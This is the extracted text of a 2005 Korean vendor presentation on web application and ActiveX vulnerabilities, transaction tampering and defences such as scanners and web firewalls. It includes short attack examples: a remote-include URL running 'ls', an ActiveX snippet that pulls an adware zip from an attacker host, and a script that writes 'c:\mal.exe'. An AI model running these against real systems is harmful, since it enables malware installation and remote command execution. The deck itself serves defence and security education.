취약점분석의관점에서본 웹보안을위한지침및대응방안 2005 년 10 월 13 일
1 1. 개요 2. 취약점? 1. 웹서버에서의취약점 2. 사용자 PC에서의취약점 3. 대응방안 4. 맺음말
1. 개요 2 보안은해킹으로부터 웹취약점파악에촛점 창과방패의싸움 수많은 URL 을사람이일일히점검하는것은불가능 자동화된도구가필요
1-1. 1. 회사소개 3 회사명 대표자 패닉시큐리티 신용재 www.panicsecurity.com 주요연혁 2004.05 설립 / 2005.01 산티웜스캐너배포 / 2005.04 벤처기업 연락처 (02) 2026-0890 / syj@panicsecurity.com / 017-549-5765 사업분야 웹취약점분석스캐너 / 웹방화벽 기술적취약점분석컨설팅 주요고객
1-2. 침해사고현황 4 인터넷침해사고동향및분석월보, KISA, 2005.09 피싱 (Phishing) : 정상적인웹서버를해킹하여위장사이트를개설한후, 인터넷이용자들이금융정보등을빼내는신종사기수법으로 Bank Fraud, Scam 이라고도함
5 1-3. 웹어플리케이션취약점현황 최근의네트워크해킹은시스템의취약점을 이용한공격보다는웹어플리케이션공격에집중되고있습니다. IP Access Port Access HTTP Firewall Known DoS Attack 이것은많은웹어플리케이션들이보안에취약한형태로개발되어해킹방법이손쉬우며, 웹이란특성상해킹흔적이거의남지않는다는점때문입니다. 일반적으로웹기반의침해사고가발생하는이유는웹응용프로그램의설계시에데이터베이스접근, 관리자인증및사용자인증, 웹응용프로그램의설계방식에대한보안성검토가이루어지지않기때문에발생합니다. Pattern Based Attack SQL Injectio Buffer n overflow Worm IDS, IPS etc WEB Application Vulnerability Common Cross Site Script 75% 이상의사이버공격과인터넷보안침해사고는인터넷웹어플리케이션 취약점을이용하여발생한다. - 미국 Gartner Group 2002-
1-4. 웹관련보안솔루션현황 종류기능제품명비고 서버보안 ( 시큐어OS) 전자서명인증, 파일암복호, 접근통제, 침입탐지, 권한분리등의여러가지보안기술로서버시스템보호. - 시큐브 의 시큐브 TOS - 레드게이트의 레드캐슬 암호화 (+ 전자서명 ) - HTTP 프로토콜에서 Plain Text 로전달되는메시지및데이터를암호화하여스니핑 ( 훔쳐보기 ) 방지기능 - 전자서명으로데이터의악의적위변조방지기능 - 소프트포럼의 XecureWeb - 이니텍의 INISAFE - 어플리케이션레벨의취약점은탐지및방어불가능 인증 (PKI, 생체 ) 사용자확인과정인인증의강도를높이기위하여도용하기쉬운 ID/PWD 외에다른매체사용 - 소프트포럼의 XecureWeb - 이니텍의 INISAFE 웹어플리케이션보안 2 가지솔루션 : 웹스캐너및웹방화벽 - 웹프로그래밍취약점 / 오류점검 : 웹스캐너 - 비정상적인 HTTP 요청거부 : 웹방화벽 -패닉시큐리티의 PS ScanW3B -WatchFire의 AppScan -KAVADO 의 ScanDo 웹어플리케이션보안솔루션 주민번호, 카드번호등개인정보노출여부점검 ( 컨텐츠필터링 ) 6
2. 취약점? 7 웹서버 (WAS), 웹서버의 OS, 네트워크장비의취약점이아닌 웹어플리케이션의취약점!! 버그! 웹서버측취약점 SQL Injection XSS (Cross-site Script) File Upload File Download Put Method 인증우회등등 Etc 사용자측취약점 ActiveX 컨트롤취약점공격 클라이언트 / 서버취약점공격 Transaction Tampering
2-1-1. 1. 서버측 : 주요취약점 8 1) 개발자의실수로남는불필요한파일.bak,.back과같은백업파일 Sqlnet.log, WS_FTP.log 와같은로그파일 2) 알려진 (Well-Known) 취약점 웹서버자체취약점 ( 아파치, IIS 및각종WAS 서버 ) 서버관리자페이지, WebDAV 페이지의노출 3) 파라메터변조 Get 메소드, Post 메소드 Hidden Field
2-1-2. 2. 서버측 : 파라메터변조공격 9 http://www.abc.com/read.jsp?no=3&name=abc.zip http://www.abc.com/read.jsp?no=xxx&name=abc.zip SQL Injection : 데이터베이스열람, 명령실행 XSS (Cross-Site Script) : 피싱공격, 쿠키획득 File Download : 서버내모든파일획득
2-1-3. 서버측 : 주요취약점 10 1) File Upload : 실행파일이업로드되면? 웹서버에서명령실행 Reverse Connection : DMZ 에경유통로를설치하여내부망침입 2) 해커의실행파일 Include 3) PUT Method 4) 기타 웹서버에서명령실행 /zboard/write.php?dir=http://my.abc.com/~hack&command=ls 실행파일업로드 인증우회, 쿠키변조등등 산티웜
11
2-1-4. 서버측 : 해킹데모동영상 12 SQL Injection 데이터베이스열람 서버측명령어실행 XSS (Cross-site Scripting) 을이용한피싱
13 2-2-1. 사용자측 : ActiveX 취약점 - 개요 중국발해킹사고, 언론에이슈화된인터넷뱅킹취약점모두 ActiveX 컨트롤취약점을이용 봇, 스파이웨어역시 ActiveX 컨트롤취약점을이용해 PC 에자동으로설치되고전파 ActiveX 컨트롤취약점개요 애드웨어제작자 취약점을이용해애드웨어설치 ( 사용자모르게 ) 컨트롤배포 컨트롤배포기관의서비스이용 산업스파이 악의적공격자 취약점을이용해 PC 내기밀자료유출 취약점을이용해 PC 해킹 컨트롤설치 뱅킹, 금융서비스고객
14 2-2-2. 2. 사용자측 : ActiveX 취약점 - 세부내용 ActiveX 컨트롤을이용한 PC해킹여부를진단은모든 ActiveX 컨트롤에대해수행되어야합니다. 따라서해당서비스는 ActiveX 컨트롤의관리와취약점에대한심화된관리가필요로합니다. 로컬자원접근예 수행범위 UpdateModule() method 기능을악용해정상파일대신해킹툴설치 로컬자원접근 정보수집 보안컨트롤보안성진단 임의의폴더의파일접근 ( 읽기 / 쓰기 ) 임의의레지스트리값접근 ( 읽기 / 쓰기 ) 임의의프로세스접근 ( 실행 / 종료 ) 시스템정보노출가능성 쿠키정보노출가능성 이벤트노출가능성 tamper resistance 체크 키보드보안제품 PC 방화벽 안티바이러스제품 <OBJECT classid='clsid:xxxxxxxxname='control'> <PARAM NAME="url" VALUE="http://www.attacker.com/adware.zip"> </OBJECT> <script> if(control=null && typeof(control)!= "undefined" l) { try { control.updatemodule();; } catch(e) { } } </script>
15 2-2-3. 사용자측 : ActiveX 취약점 - 진단사례 공인인증서의취약점을이용해인터넷뱅킹사용자 PC 를해킹하는것이가능할수있습니다. 아래화면은 인터넷뱅킹사용자 PC 를해킹한다음해킹툴을설치하는그림입니다. 공인인증서컨트롤취약점을이용한 PC 해킹 취약점을이용한해킹툴자동설치
2-2-5. 사용자측 : ActiveX 취약점 - 진단사례 (2) 비표준웹환경은현재의보안성강화를위해사용되는일반화된기술이지만, 검증받지않은보안 S/W는오히려서비스의보안성을약화시키는원인이될수있습니다. 바이너리파일획득가능 / 조작 홈페이지접속 OCX 다운요청 OCX 다운로드 OCX 실행보안체크 다운요청조작가능 보안체크무력화 OCX 실행코드 OCX 전송 보안정상확인 민원서류조작가능 프린터체크 서류출력 서류발급 / 열람 Client PC WEB SERVER 16
17 2-2-6. 사용자측 : Transaction tampering - 개요 로그인, 계좌이체, 계좌이체, 암호해독, 전문조작, 고객정보조회등에서발생하는트랜잭션에대해트랜잭션위, 변조공격 (transaction tampering) 이가능할수있습니다. Transaction tampering 기법을통해트랜잭션관련취약점을원천적으로제거하는노력이필요합니다. Transaction tampering 개요 네트워크레벨점검 Network packet sniffing Man in the middle attack replay attack 웹어플리케이션레벨점검 Debugging Input value modification Cookie injection Transaction Tampering 불법적인금융거래 계좌이체 계좌조회 각종인증우회암호화해독 암호화알고리즘해독 로그인패킷분석 이체분석 연동어플리케이션레벨점검 Credit card application Mobile application Banking application 불법적인권한획득 패스워드없이로그인 관리자권한획득 session hijacking
18 2-2-7. Transaction tampering - 세부내용 (1) Transaction tampering 기법중네트워크레벨진단부분은아래와같습니다. 네트워크레벨진단 자체제작한 session hijacking 진단툴 로그인시공인인증서체크우회 공격가능구간분석 암호화구간분석 공격가능구간분석 패킷분석 통신프로토콜분석 암호화해독 데이터구조분석 패킷조작 Man in the middle attack Replay attack Replace attack
19 2-2-8. Transaction tampering - 세부내용 (2) 빌링시스템진단중연동어플리케이션진단부분은아래와같습니다. 연동어플리케이션레벨진단 지불시스템연동취약점 공격가능구간분석 암호화구간분석 연동어플리케이션구조분석 인터페이스분석 어플리케이션간통신방법분석 어플리케이션내트랜잭션처리구조분석 트랜잭션조작 결제요청트랜잭션조작 결제승인트랜잭션조작 결제취소트랜잭션조작
20 2-2-9. Transaction tampering - 진단사례 (1) A 사쇼핑몰결제트랜잭션을조작해물품결재대금을임의로수정할수있었으며모든상품을 신용카드결제가능최소금액인 1,000 원에구입할수있었습니다. 결재트랜잭션상의가격조작
21 2-2-10. Transaction tampering - 진단사례 (2) 암호화되어전송되는패킷을해독할수있었습니다. 입찰서버의암호화된결재트랜잭션해독 암호화된암호화된패킷패킷 해독한해독한결과 EXAMPLE JAf9xtVnw8BRbIiph8Cmwg==
22 2-2-11. Transaction tampering - 진단사례 (3) 정상적인트랜잭션을조작하거나불법적인트랜잭션을발생시켜패스워드없이로그인할수있었습니다. 트랜잭션조작을통한로그인 EXAMPLE
23 2-2-12. 클라이언트 / 서버취약점분석 - 개요 게임프로그램등웹환경이아닌일반통신어플리케이션에대해서도보안성검토의수행이필요로합니다. 클라이언트 / 서버취약점개요 SERVICE VICTIM 1. 1. 서비스서비스인증인증 2. 2. 서비스서비스요청요청 Network 1. 1. 서비스인증 2. 서비스요청 Attacker iframe 조작백도어, 패킷전문 ( 電文 ) 내역감청등
24 2-2-13. 클라이언트 / 서버취약점분석 - 세부내용 클라이언트, 서버어플리케이션설계및구현상보안취약점의분석이필요로합니다. 취약점의분석은소스코드분석과리버스엔지니어링을통한분석으로나눌수있으며, 악의적기능조작이실제로가능할경우, 심각한서비스의혼란을가져올수있습니다. 악의적기능조작 수행내역 트랜잭션조작 은행의경우기업뱅킹용어플리케이션 증권사의경우 HTS 공격의예 각종게임해킹방지툴의기능을무력화한후디버깅, 메모리검색 권한획득 PC 권한획득 서버권한획득 tamper resistance check 프로세스 / 메모리접근및조작 안티디버깅기법적용여부 메모리암호화적용여부 클라이언트취약점을이용한 PC 해킹예 ( 스크립트삽입공격 ) Set objstream = Server.CreateObject("ADODB.Stream") objstream.open objstream.type = adtypebinary objstream.loadfromfile strfilepath objstream.savetofile "c:\mal.exe", 2
25 3. 대응방안 창 방패? 블랙해커 화이트해커 ( 보안담당자 ) 웹의경우사이트마다설계 / 개발방법이상이 인공지능적인취약점여부의판단이요구됨 일관적으로적용할수있는솔루션부족
3.1 웹보안고려요소 26 웹사이트의기능설계뿐아니라, 설계시보안성고려가요구되며, 개발후에도기능검수뿐아니라보안검수가요구됩니다. 개발및기획단계에서의보안성고려 사용자인증및각종 Argument 의입력정당성여부의검증 데이터베이스설정정보의악의적추출가능성검증 보안조직에서의웹어플리케이션에대한지속적보안성검증및감사 개발자가보안프로그래밍구현능력이있는가? 웹서비스데몬및 OS 형태에대한보안고려를통한웹어플리케이션보안을수행하는가? 사용자인증및각종입력매개변수 (Argument) 에대한필터링이효과적으로수행되는가? SQL Injection, XSS(Cross Site Script) 등을통한불법적프로세스의권한획득가능성이없는가? 사용자의 Query 에따른데이터베이스설정정보를가져오는과정에서의 Cookie Spoofing 및 Session Replay 를통한타사용자정보의추출이가능하지는않은가? 지속적으로진화하며, 개발및지속적유지보수가일어나는웹어플리케이션에대한보안성검증및감사의수행이보안조직에의해검토되는가?
3.2 웹보안대책 27 웹보안대책은기본적으로웹보안프로그래밍에의한구현이 Best Practice 라고할수있으나, 전문웹보안개발자의절대적부족과지속적인웹서비스의개편과진화에따라수정시지속적으로보안문제의발생이불가피하기때문에웹취약점스캐너와웹방화벽을이용한웹취약점방어대책의구현이필요합니다. 웹보안대책? 방안 1 : 웹취약점점검도구의도입 - 점검도구를활용한지속적웹소스수정 - 수작업진행시시간및비용상승 - 네트워크성능저하및오탐없는근본적대책 - Secure Coding 이된경우에는추가대책이필요없음방안 2 : 웹방화벽도입 - 기존웹의수정없는방어대책 - 웹성능저하및오탐가능성내포 - 금융권에서는기술적검증이더요구됨 - 웹서비스기능제한존재 ( 파일업로드등 ) 안전한웹보안대책 1. 웹보안프로그래밍 2. 취약점스캐너활용 3. 웹방화벽도입 4. 웹보안컨설팅을통한 보안성검증
3.3 웹스캐너 28 웹브라우져기반으로자동화된모의공격 미국 Watchfire 社의 AppScan 미국 SpiDynamics 社의 WebInspect 이스라엘 Kavado 社의 ScanDo 패닉시큐리티의 PS ScanW3B( 스캔웹 )
(1) AppScan 29
(2) WebInspect 30
(3) ScanDo 31
(4) PS ScanW3B( 스캔웹 ) - 패닉시큐리티 32
3.4 웹방화벽 33 아직은여러가지형태 / 여러가지방식 / 여러가지방법이혼재되어있음 각각장단점 H/W 타입 S/W 타입 Host 방식 : 독립프로세스 ( 실제동작은 H/W와유사 ) Agent 방식 : 웹서버확장 Positive : 허용되는 HTTP 요청을기억 (URL) Negative : 거부패턴을기반으로공격탐지
IV. 맺음말 34 취약점분석의관점에서본웹보안 서버측어플리케이션취약점 사용자측프로그램취약점 대응솔루션방안 보안프로그래밍 : 보안검수가요구됨웹스캐너 / 웹방화벽 질문 & 답변